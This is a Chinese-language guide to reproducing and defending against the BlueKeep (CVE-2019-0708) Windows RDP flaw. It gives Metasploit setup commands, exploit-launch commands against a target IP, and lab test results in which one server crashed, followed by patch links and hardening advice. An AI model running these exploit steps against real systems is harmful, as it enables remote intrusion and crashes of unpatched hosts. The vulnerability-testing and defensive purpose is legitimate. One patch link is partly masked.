CVE-2019-0708 (BlueKeep)漏洞复现与防御指南

一、漏洞概述

CVE-2019-0708，又称"BlueKeep"，是Windows远程桌面服务(RDP)中的一个高危远程代码执行漏洞。该漏洞于2019年5月15日被披露，影响范围广泛：

• Windows 2003
• Windows XP
• Windows 2008
• Windows 2008 R2

漏洞利用方式：通过远程桌面端口3389和RDP协议进行攻击，无需用户交互即可实现远程代码执行。

二、漏洞复现环境准备

1. 系统要求

• 攻击机：Kali Linux（推荐）
• 目标机：未打补丁的受影响Windows系统

2. 攻击环境搭建步骤

# 1. 更新Metasploit框架
apt-get update
apt-get install metasploit-framework

# 2. 下载漏洞利用代码
git clone https://github.com/NAXG/cve_2019_0708_bluekeep_rce.git

# 3. 创建必要的目录结构
mkdir -p /usr/share/metasploit-framework/lib/msf/core/exploit/
mkdir -p /usr/share/metasploit-framework/modules/auxiliary/scanner/
mkdir -p /usr/share/metasploit-framework/modules/exploits/windows/rdp/
mkdir -p /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/

# 4. 复制漏洞利用模块
cd cve_2019_0708_bluekeep_rce/
cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/
cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/

三、漏洞利用方法

1. 使用Metasploit进行攻击

msfconsole
reload_all
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts <目标IP>
set target <目标环境编号>  # 使用info命令查看可用目标
run

2. 目标环境编号说明

通过info命令查看模块信息，选择与目标系统匹配的编号：

• 不同Windows版本需要选择对应的target编号
• 错误的目标设置可能导致攻击失败或目标系统蓝屏

四、测试结果分析

根据原文测试结果：

1. Windows XP SP3：攻击未成功，系统保持稳定
2. Windows 7 x64 SP1：攻击未成功
3. Server 2008 R2 SP1：
   • 未获取shell
   • 导致目标系统蓝屏或无响应
4. Server 2003企业版：攻击未成功
5. Windows 10 x64专业版：攻击未成功

注意事项：

• 实际环境中，某些系统可能需要特定配置才能成功利用
• 该漏洞利用可能导致目标系统蓝屏，生产环境慎用

五、防御措施

1. 官方补丁下载

Windows Server 2008系列：

• 32位系统：http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x86_832cf179b302b861c83f2a92acc5e2a152405377.msu
• x64位系统：http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499149-x64_9236b098f7cea864f7638e7d4b77aa8f81f70fd6.msu
• Itanium系统：http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.0-kb4499180-ia64_805e448d48ab8b1401377ab9845f39e1cae836d4.msu

Windows Server 2008 R2系列：

• x64系统：http://download.windowsupdate.com/d/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-x64_3704acfff45ddf163d8049683d5a3b75e49***cb.msu
• Itanium系统：http://download.windowsupdate.com/c/msdownload/update/software/secu/2019/05/windows6.1-kb4499175-ia64_fabc8e54caa0d31a5abe8a0b347ab4a77aa98c36.msu

Windows Server 2003系列：

• 32位系统：http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x86-custom-chs_4892823f525d9d532ed3ae36fc440338d2b46a72.exe
• 64位系统：http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-chs_f2f949a9a764ff93ea13095a0aca1fc507320d3c.exe

Windows XP系列：

• SP3 32位系统：http://download.windowsupdate.com/c/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-custom-chs_718543e86e06b08b568826ac13c05f967392238c.exe
• SP2 64位系统：http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsserver2003-kb4500331-x64-custom-enu_e2fd240c402134839cfa22227b11a5ec80ddafcf.exe
• SP3 for XPe：http://download.windowsupdate.com/d/csa/csa/secu/2019/04/windowsxp-kb4500331-x86-embedded-custom-chs_96da48aaa9d9bcfe6cd820f239db2fe96500bfae.exe

2. 其他防御建议

1. 禁用远程桌面服务：如非必要，关闭RDP服务(3389端口)
2. 网络层防护：
   • 配置防火墙规则，限制3389端口的访问
   • 启用网络级认证(NLA)
3. 启用自动更新：确保系统能够及时接收安全更新
4. 使用VPN：如需远程访问，建议先建立VPN连接

六、注意事项

1. 漏洞复现可能因系统配置差异而结果不同
2. 攻击测试可能导致目标系统不稳定或蓝屏
3. 生产环境测试前务必做好备份
4. 建议在隔离的测试环境中进行漏洞验证

七、参考资源

1. 原始漏洞公告：Microsoft Security Bulletin
2. Metasploit模块：https://github.com/NAXG/cve_2019_0708_bluekeep_rce
3. 官方补丁说明：Microsoft Update Catalog